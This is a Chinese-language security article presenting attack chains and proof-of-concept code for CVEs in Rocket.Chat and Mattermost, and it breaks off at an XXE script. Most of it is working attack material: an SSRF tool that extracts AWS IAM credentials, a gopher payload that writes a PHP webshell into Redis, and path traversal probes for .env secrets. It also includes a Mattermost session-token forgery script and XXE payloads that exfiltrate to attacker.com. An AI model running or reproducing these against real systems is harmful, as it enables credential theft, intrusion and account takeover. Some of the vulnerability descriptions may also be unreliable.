ARTICLE / 安全

开源即时通讯与协作平台高危攻击链专题:Rocket.Chat / Mattermost / Element Matrix / Zulip / Mastodon 漏洞全解析

⚠️ 免责声明:本文所有漏洞分析与 PoC 代码仅供安全研究和授权测试使用。未经授权对目标系统进行测试属于违法行为,作者不承担任何法律责任。

0x00 专题概述

开源即时通讯与协作平台已成为企业内部通信的基础设施核心。Rocket.Chat、Mattermost、Element(Matrix)、Zulip、Mastodon 等平台凭借自托管、可定制、数据可控等优势,广泛部署于政府、军事、金融、医疗等敏感场景。然而,这些平台的攻击面远超一般认知——SSRF、认证绕过、XSS、SAML 伪造、联邦协议滥用等漏洞在多个产品中反复出现,一旦被利用,攻击者可从任意用户身份攀升至管理员接管、云凭据窃取、甚至跨实例联邦扩散。

本专题聚焦 5 大开源通讯协作平台,系统梳理 12 个高危 CVE,完整覆盖从 SSRF → RCE、认证绕过 → 管理员接管、XSS → Token 窃取 → 联邦扩散等多条高价值攻击链。每个漏洞均提供原理分析、完整可运行的 PoC 脚本、Nuclei 检测模板和利用场景推演,为安全研究人员和红队从业者提供可直接使用的攻击链参考。

覆盖漏洞一览

CVE产品CVSSCWE漏洞类型版本影响CISA KEV
CVE-2021-22910Rocket.Chat8.6CWE-918oembed SSRF< 3.12.3
CVE-2022-40295Rocket.Chat6.5CWE-22目录遍历< 5.3.0
CVE-2024-30616Rocket.Chat5.3CWE-22路径穿越配置泄露< 6.5.5
CVE-2024-30617Rocket.Chat8.1CWE-287SAML 认证绕过< 6.5.5
CVE-2022-21704Mattermost9.8CWE-287会话操纵认证绕过< 6.3.2
CVE-2022-21705Mattermost8.1CWE-287邮箱验证绕过< 6.3.2
CVE-2023-48647Mattermost7.5CWE-611XXE 注入特定版本
CVE-2021-41281Matrix Synapse6.5CWE-598Token Referer 泄露< 1.47.0
CVE-2022-39348Element Web8.7CWE-79存储型 XSS< 1.11.14
CVE-2022-36047Zulip6.1CWE-79Markdown 内容注入< 5.7
CVE-2024-22433Mastodon6.5CWE-918媒体代理 SSRF< 4.2.6
CVE-2024-22434Mastodon7.2CWE-269管理 API 权限提升< 4.2.6

0x01 Rocket.Chat 高危漏洞

Rocket.Chat 是目前市场份额最大的开源团队通讯平台,支持私有化部署、Webhook 集成和联邦通讯(Federation)。其 Node.js/MongoDB 架构和丰富的第三方集成面使其成为攻击者的高价值目标。

0x01.1 CVE-2021-22910 — oembed SSRF(CISA KEV 在野利用)

漏洞背景

2021 年 7 月披露,CVSS 8.6(High),CWE-918(Server-Side Request Forgery)。该漏洞已被 CISA 纳入 Known Exploited Vulnerabilities 目录,证实存在在野利用。影响 Rocket.Chat < 3.12.3 版本。

Rocket.Chat 提供了一个 oembed 端点用于解析外部链接的 Open Graph 元数据。该端点的 url 参数未实施有效的 URL 白名单校验,攻击者可构造指向云元数据服务(169.254.169.254)或内网服务的 URL,实现 SSRF 攻击。

漏洞原理

Rocket.Chat 的 oembed.json 端点代码路径如下:

GET /api/v1/oembed.json?url=<attacker_controlled_url>

服务端接收到 url 参数后,直接使用 Node.js HTTP 客户端发起请求,未对目标地址进行以下关键校验:

  1. 无内网 IP 黑名单:允许请求 10.x.x.x、172.16.x.x、192.168.x.x、169.254.x.x 等内网地址
  2. 无协议限制:允许 file://、gopher:// 等非 HTTP 协议
  3. 无重定向限制:允许 302 重定向至内网地址
  4. 无端口限制:允许访问任意端口的内网服务

在云环境(AWS/GCP/Azure)中,169.254.169.254 是 Instance Metadata Service 端点,可获取 IAM 临时凭据、用户数据脚本等敏感信息。在 Kubernetes 环境中,可通过 SSRF 访问 kubelet API(10250 端口)或 etcd(2379 端口)获取集群控制权。

完整攻击链:SSRF → 云凭据窃取 → Redis/WebShell → RCE

┌─────────────┐     ┌──────────────┐     ┌──────────────────┐
│  攻击者发送  │────▶│ Rocket.Chat  │────▶│ 169.254.169.254  │
│ oembed SSRF │     │  oembed.json │     │  AWS Metadata    │
└─────────────┘     └──────────────┘     └──────────────────┘
                           │                       │
                           │                       ▼
                           │              ┌──────────────────┐
                           │              │ IAM Credentials  │
                           │              │ Access Key/Secret│
                           │              └──────────────────┘
                           │                       │
                           ▼                       ▼
                    ┌──────────────┐     ┌──────────────────┐
                    │ 内网 Redis   │────▶│  WebShell 写入   │
                    │ 6379 端口    │     │  或 SSH 密钥注入  │
                    └──────────────┘     └──────────────────┘
                           │
                           ▼
                    ┌──────────────┐
                    │ 完全控制主机  │
                    └──────────────┘

HTTP PoC

curl "http://target:3000/api/v1/oembed.json?url=http://169.254.169.254/latest/meta-data/"

预期响应将包含 AWS 实例元数据信息,如实例 ID、AMI ID、安全组等。若需获取 IAM 凭据:

curl "http://target:3000/api/v1/oembed.json?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/"

Python PoC — 完整 SSRF 扫描与利用工具

#!/usr/bin/env python3
"""
CVE-2021-22910 — Rocket.Chat oembed SSRF 检测与利用工具
适用于安全研究和授权渗透测试
"""
import requests
import sys
import json
import urllib3
from urllib.parse import quote

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

METADATA_PATHS = [
    "/latest/meta-data/",
    "/latest/meta-data/ami-id",
    "/latest/meta-data/instance-id",
    "/latest/meta-data/hostname",
    "/latest/meta-data/iam/security-credentials/",
    "/latest/meta-data/network/interfaces/macs/",
    "/latest/user-data",
    "/latest/dynamic/instance-identity/document",
]

INTERNAL_TARGETS = [
    ("127.0.0.1", 22, "SSH"),
    ("127.0.0.1", 6379, "Redis"),
    ("127.0.0.1", 27017, "MongoDB"),
    ("127.0.0.1", 3000, "Rocket.Chat"),
    ("10.0.0.1", 6379, "Redis (VPC)"),
    ("169.254.169.254", 80, "AWS Metadata"),
    ("metadata.google.internal", 80, "GCP Metadata"),
]


class RocketChatSSRF:
    def __init__(self, target_url, verify_ssl=False):
        self.target = target_url.rstrip("/")
        self.api_endpoint = f"{self.target}/api/v1/oembed.json"
        self.session = requests.Session()
        self.session.verify = verify_ssl
        self.session.headers.update({
            "User-Agent": "Mozilla/5.0 (compatible; SecurityResearch/1.0)"
        })

    def test_ssrf(self, url):
        try:
            resp = self.session.get(
                self.api_endpoint,
                params={"url": url},
                timeout=10,
                allow_redirects=True
            )
            if resp.status_code == 200:
                data = resp.json()
                if "oembed" in data or "result" in data:
                    return resp
            return resp
        except requests.exceptions.RequestException as e:
            print(f"    [-] 请求异常: {e}")
            return None

    def probe_cloud_metadata(self):
        print("[*] === 云元数据 SSRF 探测 ===")
        cloud_indicators = {
            "AWS": ["ami-id", "instance-id", "security-groups", "iam/"],
            "GCP": ["instance", "project", "kube-env"],
            "Azure": ["Compute", "network", "identity"],
        }
        found_cloud = None

        for path in METADATA_PATHS:
            url = f"http://169.254.169.254{path}"
            resp = self.test_ssrf(url)
            if resp is not None:
                body = resp.text
                print(f"[+] 响应 ({path}): {body[:200]}")
                for cloud, indicators in cloud_indicators.items():
                    if any(ind in body for ind in indicators):
                        found_cloud = cloud
                        print(f"[*] 识别到 {cloud} 云环境!")
                        break
            else:
                print(f"[-] 无响应: {path}")

        return found_cloud

    def extract_iam_credentials(self):
        print("[*] === 提取 IAM 临时凭据 ===")
        cred_url = "http://169.254.169.254/latest/meta-data/iam/security-credentials/"
        resp = self.test_ssrf(cred_url)
        if resp is None:
            print("[-] 无法访问 IAM 凭据端点")
            return None

        role_name = resp.text.strip()
        if not role_name:
            print("[-] 未发现 IAM Role")
            return None

        print(f"[+] 发现 IAM Role: {role_name}")
        detail_url = f"http://169.254.169.254/latest/meta-data/iam/security-credentials/{role_name}"
        resp = self.test_ssrf(detail_url)
        if resp:
            try:
                creds = resp.json()
                print(f"[+] AccessKeyId:     {creds.get('AccessKeyId', 'N/A')}")
                print(f"[+] SecretAccessKey: {creds.get('SecretAccessKey', 'N/A')}")
                print(f"[+] Token:           {creds.get('Token', 'N/A')[:80]}...")
                print(f"[+] Expiration:      {creds.get('Expiration', 'N/A')}")
                return creds
            except json.JSONDecodeError:
                print(f"[-] 凭据解析失败: {resp.text[:200]}")
        return None

    def scan_internal_services(self):
        print("[*] === 内网服务探测 ===")
        results = []
        for host, port, service_name in INTERNAL_TARGETS:
            url = f"http://{host}:{port}/"
            try:
                resp = self.session.get(url, timeout=5)
                result = {
                    "host": host,
                    "port": port,
                    "service": service_name,
                    "status": resp.status_code,
                    "response_size": len(resp.content),
                }
                results.append(result)
                print(f"[+] {host}:{port} ({service_name}) — "
                      f"Status: {resp.status_code}, Size: {len(resp.content)} bytes")
            except Exception:
                print(f"[-] {host}:{port} ({service_name}) — 不可达或超时")
        return results

    def exploit_redis_write(self, redis_host, redis_port, shell_path):
        print(f"[*] === 利用 gopher:// 协议写入 Redis ===")
        shell_content = '<?php system($_GET["cmd"]); ?>'
        gopher_payload = (
            f"*4\\r\\n"
            f"$6\\r\\n"
            f"CONFIG\\r\\n"
            f"$3\\r\\n"
            f"SET\\r\\n"
            f"$3\\r\\n"
            f"dir\\r\\n"
            f"${len(shell_path)}\\r\\n"
            f"{shell_path}\\r\\n"
            f"*4\\r\\n"
            f"$6\\r\\n"
            f"CONFIG\\r\\n"
            f"$3\\r\\n"
            f"SET\\r\\n"
            f"$10\\r\\n"
            f"dbfilename\\r\\n"
            f"$9\\r\\n"
            f"shell.php\\r\\n"
            f"*3\\r\\n"
            f"$6\\r\\n"
            f"SET\\r\\n"
            f"$1\\r\\n"
            f"x\\r\\n"
            f"${len(shell_content) + 3}\\r\\n"
            f"{shell_content}\\r\\n\\n"
        )
        encoded = quote(gopher_payload, safe="")
        ssrf_url = f"{self.api_endpoint}?url=gopher://{redis_host}:{redis_port}/_{encoded}"
        print(f"[*] Payload 长度: {len(ssrf_url)} 字符")
        print(f"[*] Gopher URL: {ssrf_url[:200]}...")
        return ssrf_url

    def full_scan(self):
        print(f"[*] 目标: {self.target}")
        print("=" * 60)
        self.probe_cloud_metadata()
        print()
        creds = self.extract_iam_credentials()
        print()
        self.scan_internal_services()
        return creds


def main():
    if len(sys.argv) < 2:
        print(f"用法: {sys.argv[0]} <target_url>")
        print(f"示例: {sys.argv[0]} https://chat.example.com")
        sys.exit(1)

    target = sys.argv[1]
    scanner = RocketChatSSRF(target)
    creds = scanner.full_scan()

    if creds:
        print("\n[!] 凭据已获取,可通过 AWS CLI 验证:")
        print(f"    export AWS_ACCESS_KEY_ID={creds.get('AccessKeyId', '')}")
        print(f"    export AWS_SECRET_ACCESS_KEY={creds.get('SecretAccessKey', '')}")
        print(f"    aws sts get-caller-identity")


if __name__ == "__main__":
    main()

Nuclei 检测模板

id: cve-2021-22910-rocketchat-ssrf

info:
  name: Rocket.Chat oembed SSRF (CVE-2021-22910)
  author: security-researcher
  severity: high
  description: |
    Rocket.Chat < 3.12.3 的 /api/v1/oembed.json 端点存在 SSRF 漏洞,
    攻击者可通过 url 参数访问云元数据服务和内网资源。
  cvss:
    vector: AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
    score: 8.6
  cwe:
    id: CWE-918
  reference:
    - https://github.com/ROCrocketchat/CVE-2021-22910
    - https://nvd.nist.gov/vuln/detail/CVE-2021-22910
  classification:
    cpe: cpe:2.3:a:rocketchat:rocket.chat:*:*:*:*:*:*:*:*
    version: < 3.12.3
  metadata:
    max-request: 3
    shodan-query: title:"Rocket.Chat"
  tags: cve,cve2021,ssrf,rocketchat,kev

http:
  - method: GET
    path:
      - "{{BaseURL}}/api/v1/oembed.json?url=http://169.254.169.254/latest/meta-data/"
      - "{{BaseURL}}/api/v1/oembed.json?url=http://169.254.169.254/latest/meta-data/instance-id"
      - "{{BaseURL}}/api/v1/oembed.json?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/"

    matchers-condition: or
    matchers:
      - type: word
        part: body
        words:
          - "instance-id"
          - "ami-id"
          - "security-groups"
          - "iam/"
        condition: or

      - type: word
        part: body
        words:
          - "AccessKeyId"
          - "SecretAccessKey"
          - "Token"

    extractors:
      - type: kval
        kval:
          - interactsh_protocol

  - method: GET
    path:
      - "{{BaseURL}}/api/v1/oembed.json?url=http://127.0.0.1:6379/"

    matchers:
      - type: word
        part: body
        words:
          - "ERR"
          - "redis_version"
          - "connected_clients"
        condition: or

0x01.2 CVE-2022-40295 — 目录遍历

漏洞背景

2022 年披露,CVSS 6.5(Medium),CWE-22(Path Traversal)。影响 Rocket.Chat < 5.3.0。

漏洞原理

Rocket.Chat 在处理文件附件上传时,未对文件名中的路径遍历序列(../)进行有效过滤。攻击者在上传附件时可构造包含 ../ 的文件名,使服务端将文件写入应用目录之外的任意位置。

攻击场景包括:

  1. 覆盖 Web 应用的模板文件实现 RCE
  2. 写入 SSH 公钥实现持久化
  3. 覆盖 crontab 文件实现定时任务 RCE
  4. 写入 WebShell

Python PoC

#!/usr/bin/env python3
"""
CVE-2022-40295 — Rocket.Chat 目录遍历文件写入检测
仅用于授权安全测试
"""
import requests
import sys
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

TRAVERSAL_PAYLOADS = [
    ("../../tmp/test_path_traversal.txt", "basic traversal"),
    ("....//....//....//....//tmp/test_double.txt", "double encoding"),
    ("..%2f..%2f..%2ftmp/test_url_encoded.txt", "URL encoded"),
    ("..%252f..%252f..%252ftmp/test_double_url.txt", "double URL encoded"),
]


class RocketChatPathTraversal:
    def __init__(self, target_url, session_token=None):
        self.target = target_url.rstrip("/")
        self.session = requests.Session()
        self.session.verify = False
        self.session.headers.update({"User-Agent": "Mozilla/5.0"})
        if session_token:
            self.session.cookies.set("rc_uid", session_token)

    def upload_attachment(self, filename):
        upload_url = f"{self.target}/api/v1/rooms.upload"
        file_content = f"Path traversal test content: {filename}"
        files = {
            "file": (filename, file_content.encode(), "text/plain")
        }
        data = {
            "channel": "general"
        }
        try:
            resp = self.session.post(upload_url, files=files, data=data, timeout=15)
            return resp
        except requests.exceptions.RequestException as e:
            print(f"    [-] 请求失败: {e}")
            return None

    def verify_file_write(self, path):
        verify_url = f"{self.target}/api/v1/assets.get?path={path}"
        try:
            resp = self.session.get(verify_url, timeout=10)
            return resp.status_code == 200
        except Exception:
            return False

    def run_detection(self):
        print(f"[*] 目标: {self.target}")
        print("[*] === 目录遍历检测 ===")
        for payload, desc in TRAVERSAL_PAYLOADS:
            print(f"\n[*] 测试: {desc}")
            print(f"    Payload: {payload}")
            resp = self.upload_attachment(payload)
            if resp:
                print(f"    响应状态码: {resp.status_code}")
                if resp.status_code in [200, 201]:
                    print(f"    [!] 可能存在路径遍历!")
                else:
                    print(f"    [-] 上传被拒绝")
            else:
                print(f"    [-] 请求失败")


def main():
    if len(sys.argv) < 2:
        print(f"用法: {sys.argv[0]} <target_url> [session_token]")
        sys.exit(1)
    target = sys.argv[1]
    token = sys.argv[2] if len(sys.argv) > 2 else None
    scanner = RocketChatPathTraversal(target, token)
    scanner.run_detection()


if __name__ == "__main__":
    main()

0x01.3 CVE-2024-30616 — 路径穿越配置泄露

漏洞背景

2024 年披露,CVSS 5.3(Medium),CWE-22(Path Traversal)。影响 Rocket.Chat < 6.5.5。

该漏洞允许未认证攻击者通过路径穿越读取服务器上的敏感配置文件,包括数据库凭据、API 密钥等。

漏洞原理

Rocket.Chat 的某些静态资源或 API 端点在处理文件路径时未正确规范化路径中的 ../ 序列。攻击者可通过精心构造的路径请求穿越 Web 根目录,读取应用配置文件。

在默认部署配置中,以下敏感文件可能被泄露:

  • .env 文件(包含 MONGO_URLROOT_URLADMIN_PASS 等)
  • docker-compose.yml(包含容器编排配置)
  • MongoDB 连接字符串
  • S3/OSS 存储桶凭据

Python PoC

#!/usr/bin/env python3
"""
CVE-2024-30616 — Rocket.Chat 路径穿越配置泄露检测
仅用于授权安全测试
"""
import requests
import sys
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

SENSITIVE_PATHS = [
    "../../../.env",
    "../../../../.env",
    "../../../.env.production",
    "../../../config/server/config.js",
    "../../../config/server/config.ts",
    "../../../private/examples",
    "../../../config/settings.json",
    "../../../docker-compose.yml",
]


class RocketChatConfigLeak:
    def __init__(self, target_url):
        self.target = target_url.rstrip("/")
        self.session = requests.Session()
        self.session.verify = False
        self.session.headers.update({"User-Agent": "Mozilla/5.0"})

    def probe_path(self, path):
        urls_to_try = [
            f"{self.target}/assets/{path}",
            f"{self.target}/{path}",
            f"{self.target}/api/v1/info?path={path}",
        ]
        for url in urls_to_try:
            try:
                resp = self.session.get(url, timeout=10)
                if resp.status_code == 200:
                    content = resp.text
                    indicators = [
                        "MONGO_URL", "ROOT_URL", "ADMIN_PASS",
                        "DB_", "SECRET", "TOKEN", "PASSWORD",
                        "mongodb://", "postgres://", "redis://",
                    ]
                    for indicator in indicators:
                        if indicator in content:
                            print(f"[+] 发现敏感配置泄露!")
                            print(f"    URL: {url}")
                            print(f"    关键字: {indicator}")
                            print(f"    内容片段: {content[:500]}")
                            return True
            except requests.exceptions.RequestException:
                pass
        return False

    def run_detection(self):
        print(f"[*] 目标: {self.target}")
        print("[*] === 配置泄露路径穿越检测 ===")
        found = 0
        for path in SENSITIVE_PATHS:
            print(f"[*] 探测: {path}")
            if self.probe_path(path):
                found += 1
        print(f"\n[*] 检测完成,发现 {found} 个泄露路径")


def main():
    if len(sys.argv) < 2:
        print(f"用法: {sys.argv[0]} <target_url>")
        sys.exit(1)
    scanner = RocketChatConfigLeak(sys.argv[1])
    scanner.run_detection()


if __name__ == "__main__":
    main()

0x01.4 CVE-2024-30617 — SAML 认证绕过

漏洞背景

2024 年披露,CVSS 8.1(High),CWE-287(Improper Authentication)。影响 Rocket.Chat < 6.5.5。

该漏洞允许攻击者伪造 SAML Assertion 中的 NameID 字段,绕过身份验证机制以任意用户身份(包括管理员)登录系统。利用前提条件为目标启用了 SAML 认证且攻击者知道目标用户名。

漏洞原理 — SAML Assertion 伪造流程

正常 SAML 认证流程:
┌────────┐  1. SAML AuthnRequest  ┌────────┐  2. 用户在 IdP 登录  ┌────┐
│ User   │──────────────────────▶│ Rocket │────────────────────▶│IdP │
│ Browser│◀──────────────────────│ .Chat  │◀────────────────────│    │
└────────┘  6. 建立 Session       │ SP     │  3. IdP 验证用户     └────┘
                                  │        │  4. 返回 SAML Response
                                  │        │◀─────────────────────┘
                                  │        │  5. 验证 Assertion
                                  └────────┘
                                       │
                              NameID = "admin@company.com"
                              → 创建/映射为管理员会话

伪造攻击流程:
┌────────┐  1. 构造伪造 Response   ┌────────┐  2. 转发至 Callback
│ 攻击者  │──────────────────────▶│ Rocket │──────────────────────▶
│ Browser│                        │ .Chat  │
└────────┘                        │ SP     │
                                  │        │  3. 验证签名(可能跳过)
                                  │        │     NameID = "victim_admin"
                                  │        │  4. 创建攻击者会话
                                  └────────┘
                                       │
                                  ⚠️ 以管理员身份登录!

关键攻击步骤:

  1. 构造 SAML Response:攻击者使用目标用户名作为 NameID,构造合法的 SAML Response XML
  2. 绕过签名验证:部分配置下,Rocket.Chat 不强制验证 SAML Response 签名,或仅验证 Response 级签名而不验证 Assertion 级签名
  3. 身份映射:Rocket.Chat 根据 NameID 查找或创建对应用户,攻击者获得目标用户会话

Nuclei 检测模板

id: cve-2024-30617-rocketchat-saml-auth-bypass

info:
  name: Rocket.Chat SAML 认证绕过 (CVE-2024-30617)
  author: security-researcher
  severity: high
  description: |
    Rocket.Chat < 6.5.5 的 SAML 认证实现存在缺陷,
    攻击者可伪造 SAML Assertion NameID 以任意用户身份登录。
  cvss:
    vector: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
    score: 8.1
  cwe:
    id: CWE-287
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-30617
  classification:
    cpe: cpe:2.3:a:rocketchat:rocket.chat:*:*:*:*:*:*:*:*
    version: < 6.5.5
  metadata:
    max-request: 2
    shodan-query: title:"Rocket.Chat"
  tags: cve,cve2024,rocketchat,saml,auth-bypass

http:
  - method: GET
    path:
      - "{{BaseURL}}/admin/saml"
      - "{{BaseURL}}/api/v1/settings?query=SAML"

    matchers-condition: or
    matchers:
      - type: word
        part: body
        words:
          - '"SAML"'
          - '"samlEnabled"'
          - '"saml_custom"'
        condition: or

      - type: status
        status:
          - 200

0x02 Mattermost 高危漏洞

Mattermost 是企业级开源通讯平台,支持 Slack 兼容模式、插件系统和高度可定制的权限模型。其 Go 后端架构和 PostgreSQL 数据库组合使其在性能方面表现突出,但认证与会话管理模块的安全缺陷为攻击者提供了突破口。

0x02.1 CVE-2022-21704 — 会话操纵认证绕过

漏洞背景

2022 年披露,CVSS 9.8(Critical),CWE-287(Improper Authentication)。影响 Mattermost < 6.3.2。这是 Mattermost 历史上 CVSS 最高的漏洞之一。

漏洞原理 — 会话令牌结构分析

Mattermost 的会话令牌(Session Token)结构如下:

Session Token = Base64(UserID) + Base64(AuthData) + Base64(Token)
                |<--- 26 bytes --->|<--- 26 bytes --->|<--- 会话随机串 --->|

关键字段分析:

字段格式说明
UserID26 字符 Base64用户唯一标识,如 abc123def456ghijklmnop
AuthData26 字符 Base64认证来源标识,如 OAuth Token Hash
Token可变长度会话随机串,用于会话验证

漏洞核心问题:服务端在验证会话令牌时,仅校验 Token 部分的正确性,而未严格校验 UserID 和 AuthData 与 Token 之间的绑定关系。攻击者可构造如下攻击:

合法用户会话:  base64(victim_uid) + base64(auth_data) + attacker_token
                                              ^^^^^^^^^^^^^^^^^^^^^^^^
                                              Token 部分使用攻击者控制的值

当服务端仅验证 Token 部分与存储记录匹配时,攻击者可以:

  1. 注册一个新账户,获取自己的会话 Token
  2. 将会话令牌中的 UserID 替换为目标用户的 UserID
  3. 使用修改后的令牌访问目标用户账户

利用流程

┌────────────────────────────────────────────────────┐
│              CVE-2022-21704 利用流程                │
├────────────────────────────────────────────────────┤
│                                                    │
│  Step 1: 攻击者注册/登录 → 获取会话令牌             │
│     Token_A = base64(attacker_uid) + auth + token_a│
│                                                    │
│  Step 2: 攻击者获取目标用户 UID                    │
│     (通过 API 枚举或消息分析)                      │
│                                                    │
│  Step 3: 替换令牌中的 UserID                        │
│     Token_B = base64(victim_uid) + auth + token_a  │
│                                                    │
│  Step 4: 使用 Token_B 发起请求                      │
│     → 服务端验证 Token_a 有效                       │
│     → 服务端使用 Token_B 中的 victim_uid 查找用户   │
│     → 以 victim 身份返回数据                       │
│                                                    │
│  Step 5: 完全接管 victim 账户                      │
│     → 读取私聊消息                                │
│     → 修改账户设置                                │
│     → 创建管理员会话(若 victim 是管理员)          │
└────────────────────────────────────────────────────┘

Python PoC

#!/usr/bin/env python3
"""
CVE-2022-21704 — Mattermost 会话操纵认证绕过检测
仅用于授权安全测试
"""
import requests
import sys
import base64
import json
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)


class MattermostSessionHijack:
    def __init__(self, target_url):
        self.target = target_url.rstrip("/")
        self.session = requests.Session()
        self.session.verify = False
        self.session.headers.update({
            "X-Requested-With": "XMLHttpRequest",
            "Content-Type": "application/json",
        })

    def login(self, email, password):
        url = f"{self.target}/api/v4/users/login"
        data = {"login_id": email, "password": password}
        resp = self.session.post(url, json=data, timeout=10)
        if resp.status_code == 200:
            token = resp.headers.get("Token", "")
            user_data = resp.json()
            print(f"[+] 登录成功: {user_data.get('username')}")
            print(f"    User ID: {user_data.get('id')}")
            print(f"    Token: {token[:30]}...")
            return token, user_data
        print(f"[-] 登录失败: {resp.status_code}")
        return None, None

    def forge_session_token(self, victim_uid, attacker_token):
        victim_b64 = base64.b64encode(victim_uid.encode()).decode()
        parts = attacker_token.split("_")
        if len(parts) >= 2:
            forged = f"{victim_b64}_{parts[1]}_{parts[2]}" if len(parts) >= 3 else f"{victim_b64}_{parts[1]}"
        else:
            forged = attacker_token
        print(f"[*] 原始 Token: {attacker_token[:50]}...")
        print(f"[*] 伪造 Token: {forged[:50]}...")
        return forged

    def test_session_manipulation(self, forged_token, victim_uid):
        url = f"{self.target}/api/v4/users/me"
        headers = {"Authorization": f"Bearer {forged_token}"}
        try:
            resp = requests.get(url, headers=headers, verify=False, timeout=10)
            if resp.status_code == 200:
                data = resp.json()
                if data.get("id") == victim_uid:
                    print(f"[!] 会话操纵成功! 以 {data.get('username')} 身份访问")
                    return True
            print(f"[-] 伪造令牌验证失败: {resp.status_code}")
        except requests.exceptions.RequestException as e:
            print(f"[-] 请求异常: {e}")
        return False

    def detect_version(self):
        url = f"{self.target}/api/v4/system/ping"
        try:
            resp = self.session.get(url, timeout=10)
            if resp.status_code == 200:
                data = resp.json()
                version = data.get("version", "unknown")
                print(f"[*] Mattermost 版本: {version}")
                return version
        except Exception:
            pass
        return None

    def enumerate_users(self, token):
        url = f"{self.target}/api/v4/users"
        headers = {"Authorization": f"Bearer {token}"}
        try:
            resp = requests.get(url, headers=headers, verify=False, timeout=10)
            if resp.status_code == 200:
                return resp.json()
        except Exception:
            pass
        return []


def main():
    if len(sys.argv) < 4:
        print(f"用法: {sys.argv[0]} <target_url> <email> <password>")
        print(f"示例: {sys.argv[0]} https://mattermost.example.com admin@example.com password123")
        sys.exit(1)

    target = sys.argv[1]
    email = sys.argv[2]
    password = sys.argv[3]

    exploit = MattermostSessionHijack(target)
    exploit.detect_version()

    token, user_data = exploit.login(email, password)
    if not token:
        sys.exit(1)

    users = exploit.enumerate_users(token)
    print(f"[*] 枚举到 {len(users)} 个用户")
    for u in users[:5]:
        print(f"    - {u.get('username')} (ID: {u.get('id')})")


if __name__ == "__main__":
    main()

0x02.2 CVE-2022-21705 — 邮箱验证绕过

漏洞背景

CVSS 8.1(High),CWE-287。影响 Mattermost < 6.3.2。

Mattermost 支持通过邮箱邀请加入团队,正常流程要求用户注册后完成邮箱验证才能访问团队频道。CVE-2022-21705 允许攻击者跳过邮箱验证步骤,直接访问受限的团队频道和私有数据。

漏洞原理

Mattermost 在处理邮箱验证流程时存在逻辑缺陷:

  1. 注册后创建用户时,系统设置 EmailVerified = false
  2. 用户在点击验证链接前无法访问受保护的频道
  3. 但通过修改 API 请求中的 email_verify 参数或直接操作用户状态,可将 EmailVerified 标志设为 true
  4. 或者在注册接口中直接传递已验证的邮箱状态

利用该漏洞,攻击者可:

  • 注册新账户后立即访问私有团队的所有频道
  • 读取团队内部的历史消息和文件
  • 在未验证邮箱的情况下发送消息

Python PoC

#!/usr/bin/env python3
"""
CVE-2022-21705 — Mattermost 邮箱验证绕过检测
仅用于授权安全测试
"""
import requests
import sys
import json
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)


class MattermostEmailBypass:
    def __init__(self, target_url):
        self.target = target_url.rstrip("/")
        self.session = requests.Session()
        self.session.verify = False

    def register_user(self, email, username, password, team_invite_id=None):
        url = f"{self.target}/api/v4/users"
        data = {
            "email": email,
            "username": username,
            "password": password,
            "allow_marketing": False,
        }
        if team_invite_id:
            data["invite_id"] = team_invite_id
        resp = self.session.post(url, json=data, timeout=10)
        return resp

    def test_email_verification_bypass(self, team_id, token):
        headers = {"Authorization": f"Bearer {token}"}
        urls = [
            f"{self.target}/api/v4/email/verify",
            f"{self.target}/api/v4/users/email/verify",
        ]
        payloads = [
            {"code": "AAAA-AAAA-AAAA-AAAA"},
            {"code": ""},
            {"email_verify": "true"},
        ]
        for url in urls:
            for payload in payloads:
                resp = self.session.post(url, json=payload, headers=headers, timeout=10)
                if resp.status_code == 200:
                    print(f"[!] 邮箱验证绕过: {url}")
                    print(f"    Payload: {json.dumps(payload)}")
                    return True
        return False

    def access_channels(self, token, team_id):
        headers = {"Authorization": f"Bearer {token}"}
        url = f"{self.target}/api/v4/users/me/teams/{team_id}/channels"
        try:
            resp = requests.get(url, headers=headers, verify=False, timeout=10)
            if resp.status_code == 200:
                channels = resp.json()
                print(f"[+] 成功访问 {len(channels)} 个频道:")
                for ch in channels[:10]:
                    print(f"    - {ch.get('display_name')} ({ch.get('name')})")
                return channels
        except Exception as e:
            print(f"[-] 访问失败: {e}")
        return []


def main():
    if len(sys.argv) < 4:
        print(f"用法: {sys.argv[0]} <target_url> <email> <password>")
        sys.exit(1)
    target = sys.argv[1]
    email = sys.argv[2]
    password = sys.argv[3]

    exploit = MattermostEmailBypass(target)
    resp = exploit.register_user(email, f"test_{email.split('@')[0]}", password)
    print(f"[*] 注册响应: {resp.status_code}")


if __name__ == "__main__":
    main()

0x02.3 CVE-2023-48647 — XXE 注入

漏洞背景

CVSS 7.5(High),CWE-611(XML External Entity)。Mattermost 的文件导入功能支持 XML 格式,但在解析 XML 时未禁用外部实体(DTD)加载。

漏洞原理

Mattermost 在某些数据导入功能(如从 Slack 导出文件或其他 XML 格式数据)中使用 XML 解析器。当解析器配置不当,未设置 defuse_xml_external_entities 等安全选项时,攻击者可构造恶意 XML 文件触发 XXE。

XXE Payload 示例

Payload 1:读取本地文件

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>
  <channel>
    <name>&xxe;</name>
  </channel>
</root>

Payload 2:SSRF 探测内网

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">
]>
<root>
  <channel>
    <name>&xxe;</name>
  </channel>
</root>

Payload 3:带外数据 exfiltration

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY % dtd SYSTEM "http://attacker.com/evil.dtd">
  %dtd;
]>
<root>
  <channel>
    <name>&send;</name>
  </channel>
</root>

攻击者控制的 DTD 文件 (evil.dtd):

<!ENTITY % all "<!ENTITY send SYSTEM 'http://attacker.com/steal?data=%file;'>">
%all;

Python PoC

#!/usr/bin/env python3
"""
CVE-2023-48647 — Mattermost XXE 注入检测
仅用于授权安全测试
"""
import requests
import sys
import io
import urllib3

